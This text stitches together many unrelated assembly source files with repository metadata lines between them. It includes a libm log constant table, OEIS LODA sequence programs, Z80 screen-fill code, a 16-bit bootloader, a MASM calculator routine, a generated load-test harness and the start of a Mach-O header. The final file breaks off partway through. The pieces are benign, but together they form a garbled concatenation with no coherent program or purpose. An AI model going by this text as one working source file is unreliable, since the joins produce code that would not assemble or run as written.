03ff84f00c2780614h DQ 03ff83c977ab2beddh DQ 03ff82a4a0182a4a0h DQ 03ff8181818181818h DQ 03ff8060180601806h DQ 03ff7f405fd017f40h DQ 03ff7e225515a4f1dh DQ 03ff7d05f417d05f4h DQ 03ff7beb3922e017ch DQ 03ff7ad2208e0ecc3h DQ 03ff79baa6bb6398bh DQ 03ff78a4c8178a4c8h DQ 03ff77908119ac60dh DQ 03ff767dce434a9b1h DQ 03ff756cac201756dh DQ 03ff745d1745d1746h DQ 03ff734f0c541fe8dh DQ 03ff724287f46debch DQ 03ff713786d9c7c09h DQ 03ff702e05c0b8170h DQ 03ff6f26016f26017h DQ 03ff6e1f76b4337c7h DQ 03ff6d1a62681c861h DQ 03ff6c16c16c16c17h DQ 03ff6b1490aa31a3dh DQ 03ff6a13cd1537290h DQ 03ff691473a88d0c0h DQ 03ff6816816816817h DQ 03ff6719f3601671ah DQ 03ff661ec6a5122f9h DQ 03ff6524f853b4aa3h DQ 03ff642c8590b2164h DQ 03ff63356b88ac0deh DQ 03ff623fa77016240h DQ 03ff614b36831ae94h DQ 03ff6058160581606h DQ 03ff5f66434292dfch DQ 03ff5e75bb8d015e7h DQ 03ff5d867c3ece2a5h DQ 03ff5c9882b931057h DQ 03ff5babcc647fa91h DQ 03ff5ac056b015ac0h DQ 03ff59d61f123ccaah DQ 03ff58ed2308158edh DQ 03ff5805601580560h DQ 03ff571ed3c506b3ah DQ 03ff56397ba7c52e2h DQ 03ff5555555555555h DQ 03ff54725e6bb82feh DQ 03ff5390948f40febh DQ 03ff52aff56a8054bh DQ 03ff51d07eae2f815h DQ 03ff50f22e111c4c5h DQ 03ff5015015015015h DQ 03ff4f38f62dd4c9bh DQ 03ff4e5e0a72f0539h DQ 03ff4d843bedc2c4ch DQ 03ff4cab88725af6eh DQ 03ff4bd3edda68fe1h DQ 03ff4afd6a052bf5bh DQ 03ff4a27fad76014ah DQ 03ff49539e3b2d067h DQ 03ff4880522014880h DQ 03ff47ae147ae147bh DQ 03ff46dce34596066h DQ 03ff460cbc7f5cf9ah DQ 03ff453d9e2c776cah DQ 03ff446f86562d9fbh DQ 03ff43a2730abee4dh DQ 03ff42d6625d51f87h DQ 03ff420b5265e5951h DQ 03ff4141414141414h DQ 03ff40782d10e6566h DQ 03ff3fb013fb013fbh DQ 03ff3ee8f42a5af07h DQ 03ff3e22cbce4a902h DQ 03ff3d5d991aa75c6h DQ 03ff3c995a47babe7h DQ 03ff3bd60d9232955h DQ 03ff3b13b13b13b14h DQ 03ff3a524387ac822h DQ 03ff3991c2c187f63h DQ 03ff38d22d366088eh DQ 03ff3813813813814h DQ 03ff3755bd1c945eeh DQ 03ff3698df3de0748h DQ 03ff35dce5f9f2af8h DQ 03ff3521cfb2b78c1h DQ 03ff34679ace01346h DQ 03ff33ae45b57bcb2h DQ 03ff32f5ced6a1dfah DQ 03ff323e34a2b10bfh DQ 03ff3187758e9ebb6h DQ 03ff30d190130d190h DQ 03ff301c82ac40260h DQ 03ff2f684bda12f68h DQ 03ff2eb4ea1fed14bh DQ 03ff2e025c04b8097h DQ 03ff2d50a012d50a0h DQ 03ff2c9fb4d812ca0h DQ 03ff2bef98e5a3711h DQ 03ff2b404ad012b40h DQ 03ff2a91c92f3c105h DQ 03ff29e4129e4129eh DQ 03ff293725bb804a5h DQ 03ff288b01288b013h DQ 03ff27dfa38a1ce4dh DQ 03ff27350b8812735h DQ 03ff268b37cd60127h DQ 03ff25e22708092f1h DQ 03ff2539d7e9177b2h DQ 03ff2492492492492h DQ 03ff23eb79717605bh DQ 03ff23456789abcdfh DQ 03ff22a0122a0122ah DQ 03ff21fb78121fb78h DQ 03ff21579804855e6h DQ 03ff20b470c67c0d9h DQ 03ff2012012012012h DQ 03ff1f7047dc11f70h DQ 03ff1ecf43c7fb84ch DQ 03ff1e2ef3b3fb874h DQ 03ff1d8f5672e4abdh DQ 03ff1cf06ada2811dh DQ 03ff1c522fc1ce059h DQ 03ff1bb4a4046ed29h DQ 03ff1b17c67f2bae3h DQ 03ff1a7b9611a7b96h DQ 03ff19e0119e0119eh DQ 03ff19453808ca29ch DQ 03ff18ab083902bdbh DQ 03ff1811811811812h DQ 03ff1778a191bd684h DQ 03ff16e0689427379h DQ 03ff1648d50fc3201h DQ 03ff15b1e5f75270dh DQ 03ff151b9a3fdd5c9h DQ 03ff1485f0e0acd3bh DQ 03ff13f0e8d344724h DQ 03ff135c81135c811h DQ 03ff12c8b89edc0ach DQ 03ff12358e75d3033h DQ 03ff11a3019a74826h DQ 03ff1111111111111h DQ 03ff107fbbe011080h DQ 03ff0fef010fef011h DQ 03ff0f5edfab325a2h DQ 03ff0ecf56be69c90h DQ 03ff0e40655826011h DQ 03ff0db20a88f4696h DQ 03ff0d24456359e3ah DQ 03ff0c9714fbcda3bh DQ 03ff0c0a7868b4171h DQ 03ff0b7e6ec259dc8h DQ 03ff0af2f722eecb5h DQ 03ff0a6810a6810a7h DQ 03ff09ddba6af8360h DQ 03ff0953f39010954h DQ 03ff08cabb37565e2h DQ 03ff0842108421084h DQ 03ff07b9f29b8eae2h DQ 03ff073260a47f7c6h DQ 03ff06ab59c7912fbh DQ 03ff0624dd2f1a9fch DQ 03ff059eea0727586h DQ 03ff05197f7d73404h DQ 03ff04949cc1664c5h DQ 03ff0410410410410h DQ 03ff038c6b78247fch DQ 03ff03091b51f5e1ah DQ 03ff02864fc7729e9h DQ 03ff0204081020408h DQ 03ff0182436517a37h DQ 03ff0101010101010h DQ 03ff0080402010080h DQ 03ff0000000000000h DQ 00000000000000000h CONST ENDS data ENDS END
38.34161
86
0.508675
[ "BSD-3-Clause" ]
HollowMan6/aocl-libm-ose
src/isa/avx2/masm/log_fma3.asm
44,783
Assembly
; A173202: Solutions y of the Mordell equation y^2 = x^3 - 3a^2 + 1 for a = 0,1,2, ... (solutions x are given by the sequence A000466) ; 0,5,58,207,500,985,1710,2723,4072,5805,7970,10615,13788,17537,21910,26955,32720,39253,46602,54815,63940,74025,85118,97267,110520,124925,140530,157383,175532,195025,215910,238235,262048,287397,314330,342895,373140,405113,438862,474435,511880,551245,592578,635927,681340,728865,778550,830443,884592,941045,999850,1061055,1124708,1190857,1259550,1330835,1404760,1481373,1560722,1642855,1727820,1815665,1906438,2000187,2096960,2196805,2299770,2405903,2515252,2627865,2743790,2863075,2985768,3111917,3241570,3374775,3511580,3652033,3796182,3944075,4095760,4251285,4410698,4574047,4741380,4912745,5088190,5267763,5451512,5639485,5831730,6028295,6229228,6434577,6644390,6858715,7077600,7301093,7529242,7762095,7999700,8242105,8489358,8741507,8998600,9260685,9527810,9800023,10077372,10359905,10647670,10940715,11239088,11542837,11852010,12166655,12486820,12812553,13143902,13480915,13823640,14172125,14526418,14886567,15252620,15624625,16002630,16386683,16776832,17173125,17575610,17984335,18399348,18820697,19248430,19682595,20123240,20570413,21024162,21484535,21951580,22425345,22905878,23393227,23887440,24388565,24896650,25411743,25933892,26463145,26999550,27543155,28094008,28652157,29217650,29790535,30370860,30958673,31554022,32156955,32767520,33385765,34011738,34645487,35287060,35936505,36593870,37259203,37932552,38613965,39303490,40001175,40707068,41421217,42143670,42874475,43613680,44361333,45117482,45882175,46655460,47437385,48227998,49027347,49835480,50652445,51478290,52313063,53156812,54009585,54871430,55742395,56622528,57511877,58410490,59318415,60235700,61162393,62098542,63044195,63999400,64964205,65938658,66922807,67916700,68920385,69933910,70957323,71990672,73034005,74087370,75150815,76224388,77308137,78402110,79506355,80620920,81745853,82881202,84027015,85183340,86350225,87527718,88715867,89914720,91124325,92344730,93575983,94818132,96071225,97335310,98610435,99896648,101193997,102502530,103822295,105153340,106495713,107849462,109214635,110591280,111979445,113379178,114790527,116213540,117648265,119094750,120553043,122023192,123505245 mul $0,4 mov $1,$0 pow $1,2 sub $1,6 mul $1,$0 div $1,8
225.6
2,063
0.856383
[ "Apache-2.0" ]
jmorken/loda
programs/oeis/173/A173202.asm
2,256
Assembly
ld a, 255 ld hl, basescradr + #04ec ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld hl, basescradr + #05ee ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld a, 254 ld hl, basescradr + #08b4 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #08d4 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #08f4 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0994 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #1014 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #04f4), a ld (basescradr + #05f4), a ld a, 63 ld hl, basescradr + #08eb ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #09cb ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #100b ld (hl), a inc h ld (hl), a inc h ld (hl), a xor a ld hl, basescradr + #140c ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld hl, basescradr + #150f ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ret
12.188235
28
0.47249
[ "MIT" ]
mborik/regression
transformy/tables/gen/0042.asm
2,072
Assembly
; A073636: Period 3: repeat [1, 8, 9] ; Digital root of A000578(n) = n^3 for n >= 1. ; 1,8,9,1,8,9,1,8,9,1,8,9,1,8,9,1,8,9,1,8,9,1,8,9,1,8,9,1,8,9,1,8,9,1,8,9,1,8,9,1,8,9,1,8,9,1,8,9,1,8,9,1,8,9,1,8,9,1,8,9,1,8,9,1,8,9,1,8,9,1,8,9,1,8,9,1,8,9,1,8,9,1,8,9,1,8,9 mod $0,3 mov $1,$0 gcd $0,7 add $1,7 div $1,$0
34.333333
175
0.527508
[ "Apache-2.0" ]
jmorken/loda
programs/oeis/073/A073636.asm
309
Assembly
[BITS 16] mov word ax, 0x07C0 add word ax, 288 mov word ss, ax mov word sp, 4096 mov word ax, 0x07C0 mov word ds, ax mov byte ah, 0x00 mov byte al, 0x03 int 0x10 pusha mov word bx, 0x1000 mov word es, bx mov word bx, 0x0000 mov byte ah, 0x02 mov byte al, 0x02 mov byte ch, 0x00 mov byte cl, 0x02 mov byte dh, 0x00 mov byte dl, 0x00 int 0x13 cmp ah, 0x00 je start_kernel call disk_read_err popa call halt jmp $ szStartupMsg db "Starting...", 0 szSystemHalt db "System halted.", 0 szDiskError db "An error has occurred while reading the disk!", 0 print: mov byte ah, 0x0E .print_loop: lodsb cmp al, 0x00 jz .print_finish int 0x10 jmp .print_loop .print_finish: ret println: call print pusha mov byte ah, 0x0E mov byte al, 0x0D int 0x10 mov byte al, 0x0A int 0x10 popa ret clear: pusha mov word cx, 0x0000 mov word dx, 0x07FF mov word bx, 0xB800 mov word es, bx mov word bx, 0x0000 .clear_loop: cmp cx, dx je .clear_finish mov byte [es:bx], ' ' inc bx mov byte [es:bx], 0x0F inc bx inc cx jmp .clear_loop .clear_finish: popa ret halt: pusha mov si, szSystemHalt call print popa ret start_kernel: jmp 0x1000:0x0000 disk_read_err: pusha mov si, szDiskError call println popa ret times 510-($-$$) db 0x00 dw 0xAA55
13.688073
65
0.605228
[ "MIT" ]
v0idpointer/blue-os
src/boot.asm
1,492
Assembly
; A294486: a(n) = binomial(2n,n) * (2n+1)^2. ; 1,18,150,980,5670,30492,156156,772200,3719430,17551820,81477396,373173528,1690097500,7582037400,33738060600,149067936720,654576544710,2858667619500,12423860225700,53760146239800,231720014946420,995238809839560,4260800401533000 mov $1,$0 add $1,$0 bin $1,$0 mov $2,$0 add $2,1 mov $3,$0 add $3,$2 pow $3,2 mul $1,$3
27.923077
228
0.752066
[ "Apache-2.0" ]
jmorken/loda
programs/oeis/294/A294486.asm
363
Assembly
; A171654: Period 10: repeat 0, 1, 6, 7, 2, 3, 8, 9, 4, 5. ; 0,1,6,7,2,3,8,9,4,5,0,1,6,7,2,3,8,9,4,5,0,1,6,7,2,3,8,9,4,5,0,1,6,7,2,3,8,9,4,5,0,1,6,7,2,3,8,9,4,5,0,1,6,7,2,3,8,9,4,5,0,1,6,7,2,3,8,9,4,5,0,1,6,7,2,3,8,9,4,5,0,1,6,7,2,3,8,9,4,5 mov $1,$0 lpb $0,1 sub $0,2 add $1,4 lpe mod $1,10
29.7
181
0.505051
[ "Apache-2.0" ]
karttu/loda
programs/oeis/171/A171654.asm
297
Assembly
.data newline: .asciiz "\n" .text .globl main _pair: li $a0, 8 li $v0, 9 syscall lw $t0, 4($sp) sw $t0, -4($v0) lw $t0, 0($sp) sw $t0, 0($v0) jr $ra main: addi $sp, $sp, -4 sw $ra, 0($sp) li $v0, 4 addi $sp, $sp, -4 sw $v0, 0($sp) li $v0, 0 addi $sp, $sp, -4 sw $v0, 0($sp) jal _pair addi $sp, $sp, 8 addi $sp, $sp, -4 sw $v0, 0($sp) lw $t0, 0($sp) lw $v0, -4($t0) addi $sp, $sp, 4 addi $sp, $sp, -4 sw $v0, 0($sp) lw $a0, 0($sp) li $v0, 1 syscall addi $sp, $sp, 4 la $a0, newline li $v0, 4 syscall lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra
14.302326
21
0.471545
[ "MIT" ]
bk211/fac
Compilation/liec_seance-d_files/test_5.liec.asm
615
Assembly
.model small .stack .data posicion_entrada dw 0000h aux db 00h display_str db "Utilice las fechas y el teclado numerico para navegar",14 DUP(0),'$' resultado_str db "11.00+11.00=00000022.",20h,"000000000$" num_res db 0,0,0,0,0,0,0,0,2,2,'$' decimales_Res db 20h,0,0,0,0,0,0,0,0,0,'$' .code begin proc FAR MOV AX,@DATA MOV DS,AX repito: XOR AX,AX INT 16H CALL AJUSTE_PARA_IMPRESION JMP repito begin endp AJUSTE_PARA_IMPRESION PROC NEAR ;;AJUSTAR PARA IMPRESION ;;ajustar la parte entera MOV aux,0h MOV SI,0000h MOV CX,09H ajusteAsciiEntero: MOV AL,num_res[SI] ;si es espacio CMP AL,20h JE borralo JMP no_borres_enteros borralo: MOV AL,08h JMP regresa_borrar_enteros no_borres_enteros: ADD AL,30H regresa_borrar_enteros: ;fin es espacio MOV BX,0000h MOV Bl,aux MOV resultado_str[BX],AL INC aux INC SI DEC CX JNS ajusteAsciiEntero MOV BX,0000h MOV Bl,aux MOV resultado_str[BX],'.' INC SI INC aux MOV DI,0000H MOV CX,09H ajusteAsciiDecimal: MOV AL,decimales_Res[DI] ;si es espacio CMP AL,20h JE borralo_decimales JMP no_borres_decimales borralo_decimales: MOV AL,08h JMP regresa_borrar_decimales no_borres_decimales: ADD AL,30H regresa_borrar_decimales: ;fin es espacio MOV BX,0000h MOV Bl,aux MOV resultado_str[BX],AL INC aux INC DI INC SI DEC CX JNS ajusteAsciiDecimal MOV BX,0000h MOV Bl,aux MOV resultado_str[BX],'$' RET AJUSTE_PARA_IMPRESION ENDP end begin
17.539326
85
0.68802
[ "MIT" ]
Jon2G/ASMCalculator
AjusteParaImpresion.asm
1,561
Assembly
; A032797: Numbers n such that n(n+1)(n+2)...(n+10) /(n+(n+1)+(n+2)+...+(n+10)) is a multiple of n. ; 1,2,3,4,5,7,8,9,10,12,13,14,15,16,18,19,20,21,23,24,25,26,27,29,30,31,32,34,35,36,37,38,40,41,42,43,45,46,47,48,49,51,52,53,54,56,57,58,59,60,62,63,64,65,67,68,69,70,71,73,74,75,76,78,79,80,81,82,84,85,86 mov $1,11 mul $1,$0 div $1,9 add $1,1 mov $0,$1
39.555556
206
0.598315
[ "Apache-2.0" ]
ckrause/cm
programs/oeis/032/A032797.asm
356
Assembly
; A349489: a(n) = Sum_{k=1..n} k * floor(sqrt(2*k-1)). ; Submitted by Christian Krause ; 1,3,9,17,32,50,71,95,131,171,215,263,328,398,473,553,638,728,842,962,1088,1220,1358,1502,1677,1859,2048,2244,2447,2657,2874,3098,3362,3634,3914,4202,4498,4802,5114,5434,5803,6181,6568,6964,7369,7783,8206,8638,9079,9529,10039 mov $4,$0 add $4,1 mov $7,$0 lpb $4 mov $0,$7 sub $4,1 sub $0,$4 mov $8,$0 add $8,1 mov $9,0 mov $10,$0 lpb $8 mov $0,$10 sub $8,1 sub $0,$8 mov $12,2 mov $13,0 mov $14,$0 lpb $12 mov $0,$14 sub $12,1 add $0,$12 sub $0,1 mov $2,$0 mov $3,1 mov $5,0 lpb $0 mov $0,$2 add $0,1 add $5,$0 add $0,$2 add $3,1 div $0,$3 sub $0,$3 lpe mov $0,$5 mov $11,$12 mul $11,$5 add $13,$11 lpe min $14,1 mul $14,$0 mov $0,$13 sub $0,$14 add $0,1 add $9,$0 lpe add $6,$9 lpe mov $0,$6
18.036364
226
0.488911
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/349/A349489.asm
992
Assembly
dnl HP-PA mpn_sub_n -- Subtract two limb vectors of the same length > 0 and dnl store difference in a third limb vector. Optimized for the PA7100, where dnl is runs at 4.25 cycles/limb. dnl Copyright 1992, 1994, 2000, 2001, 2002, 2003 Free Software Foundation, dnl Inc. dnl This file is part of the GNU MP Library. dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of the GNU Lesser General Public License as published dnl by the Free Software Foundation; either version 3 of the License, or (at dnl your option) any later version. dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public dnl License for more details. dnl You should have received a copy of the GNU Lesser General Public License dnl along with the GNU MP Library. If not, see http://www.gnu.org/licenses/. include(`../config.m4') C INPUT PARAMETERS C res_ptr r26 C s1_ptr r25 C s2_ptr r24 C size r23 ASM_START() PROLOGUE(mpn_sub_n) ldws,ma 4(0,%r25),%r20 ldws,ma 4(0,%r24),%r19 addib,<= -5,%r23,L(rest) sub %r20,%r19,%r28 C subtract first limbs ignoring cy LDEF(loop) ldws,ma 4(0,%r25),%r20 ldws,ma 4(0,%r24),%r19 stws,ma %r28,4(0,%r26) subb %r20,%r19,%r28 ldws,ma 4(0,%r25),%r20 ldws,ma 4(0,%r24),%r19 stws,ma %r28,4(0,%r26) subb %r20,%r19,%r28 ldws,ma 4(0,%r25),%r20 ldws,ma 4(0,%r24),%r19 stws,ma %r28,4(0,%r26) subb %r20,%r19,%r28 ldws,ma 4(0,%r25),%r20 ldws,ma 4(0,%r24),%r19 stws,ma %r28,4(0,%r26) addib,> -4,%r23,L(loop) subb %r20,%r19,%r28 LDEF(rest) addib,= 4,%r23,L(end) nop LDEF(eloop) ldws,ma 4(0,%r25),%r20 ldws,ma 4(0,%r24),%r19 stws,ma %r28,4(0,%r26) addib,> -1,%r23,L(eloop) subb %r20,%r19,%r28 LDEF(end) stws %r28,0(0,%r26) addc %r0,%r0,%r28 bv 0(%r2) subi 1,%r28,%r28 EPILOGUE()
26.506667
79
0.68662
[ "MIT" ]
6un9-h0-Dan/cobaul
deps/gmp.js/mpn/pa32/hppa1_1/pa7100/sub_n.asm
1,988
Assembly
; A033192: a(n) = binomial(Fibonacci(n) + 1, 2). ; 0,1,1,3,6,15,36,91,231,595,1540,4005,10440,27261,71253,186355,487578,1276003,3339820,8742471,22885995,59912931,156848616,410626153,1075018896,2814412825,7368190921,19290113571,50502074766,132215989335,346145696820,906220783315,2372516138895,6211326801331,16261462918828,42573059776845,111457712887128,291800073181653,763942497430365,2000027404179091,5236139690949090 mov $3,1 lpb $0,1 sub $0,1 mov $1,$3 add $1,1 trn $2,1 add $2,$3 mov $3,$2 mov $2,$1 lpe bin $1,2 add $1,5 mul $1,2 sub $1,10 div $1,2
29.894737
368
0.755282
[ "Apache-2.0" ]
karttu/loda
programs/oeis/033/A033192.asm
568
Assembly
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %rbx push %rcx push %rdx push %rsi lea addresses_A_ht+0xf3a4, %rcx nop nop nop add $46742, %rdx movb (%rcx), %r11b nop nop inc %r12 lea addresses_WC_ht+0x12864, %rsi clflush (%rsi) nop nop inc %rbx and $0xffffffffffffffc0, %rsi vmovaps (%rsi), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $0, %xmm3, %r11 nop inc %rdx pop %rsi pop %rdx pop %rcx pop %rbx pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r8 push %rbp push %rbx push %rdi push %rsi // Store lea addresses_PSE+0x6a20, %r10 nop nop nop cmp $38235, %rsi mov $0x5152535455565758, %r12 movq %r12, %xmm2 vmovups %ymm2, (%r10) nop nop nop nop add $53724, %r12 // Store lea addresses_WC+0x17464, %rbp add %rbx, %rbx movw $0x5152, (%rbp) nop nop and %rsi, %rsi // Store lea addresses_D+0x1bc64, %rsi cmp %rbp, %rbp mov $0x5152535455565758, %r8 movq %r8, %xmm7 vmovups %ymm7, (%rsi) nop nop nop dec %rbx // Store lea addresses_WC+0xba64, %r8 and $49304, %r10 movl $0x51525354, (%r8) nop nop nop dec %rbp // Store lea addresses_A+0x785c, %rbx cmp $764, %rdi mov $0x5152535455565758, %r12 movq %r12, %xmm4 movups %xmm4, (%rbx) nop sub $1965, %r10 // Store lea addresses_WC+0x17464, %r10 clflush (%r10) xor $62487, %r12 mov $0x5152535455565758, %rsi movq %rsi, %xmm4 movups %xmm4, (%r10) nop nop nop nop nop cmp $20916, %rdi // Faulty Load lea addresses_WC+0x17464, %rdi nop nop nop nop mfence mov (%rdi), %r8w lea oracles, %rdi and $0xff, %r8 shlq $12, %r8 mov (%rdi,%r8,1), %r8 pop %rsi pop %rdi pop %rbx pop %rbp pop %r8 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 10}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 8}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 10}} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
38.953947
2,999
0.655632
[ "MIT" ]
danielmgmi/medusa
Transynther/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_21829_1840.asm
5,921
Assembly
; Copyright (C) Teemu Suutari ; x86 bits 32 section .text %include "symbols.asm" ; MACH header MACHHeader: dd 0xfeedface ; magic dd SOLVE(CPU_TYPE_X86) ; cpu type dd 0 ; cpu subtype (wrong, but works) dd SOLVE(MH_EXECUTE) ; filetype dd 6 ; number of commands dd MACHCommandsEnd-MACHCommandsStart ; size of commands ; dd SOLVE(MH_PREBOUND)|SOLVE(MH_TWOLEVEL)|SOLVE(MH_NOFIXPREBINDING) ; dd SOLVE(MH_PREBOUND)|SOLVE(MH_TWOLEVEL) ; dd SOLVE(MH_PREBOUND)|SOLVE(MH_TWOLEVEL)|SOLVE(MH_NOFIXPREBINDING)|SOLVE(MH_NOUNDEFS) dd 0 ; flags MACHHeaderEnd: ; by definition commands follow right after the header MACHCommandsStart: Command2Start: dd SOLVE(LC_SEGMENT) ; this is segment dd Command2End-Command2Start ; size Seg2NameStart: times 16-$+Seg2NameStart db 0 ; section name dd 0 ; vmaddr global HeapSize HeapSize: dd 0 ; vmsize dd 0 ; fileoff global CodeSize CodeSize: dd 0 ; filesize, will be written ; by the linker dd 0 ; maxprot dd SOLVE(VM_PROT_READ)|SOLVE(VM_PROT_WRITE)|SOLVE(VM_PROT_EXECUTE) dd 0 ; nsects ; dd SOLVE(SG_NORELOC) ; flags dd 0 Command2End: ;%ifdef OSX_12 OSX_13 Command4Start: dd SOLVE(LC_SEGMENT) ; this is segment dd Command4End-Command4Start ; size Seg4NameStart: db '__LINKEDIT' times 16-$+Seg4NameStart db 0 ; section name dd 0 ; vmaddr dd 0 ; vmsize dd 0x1000 ; fileoff (insane) dd 0 ; filesize dd 0 ; maxprot dd 0 ; initport dd 0 ; nsects dd 0 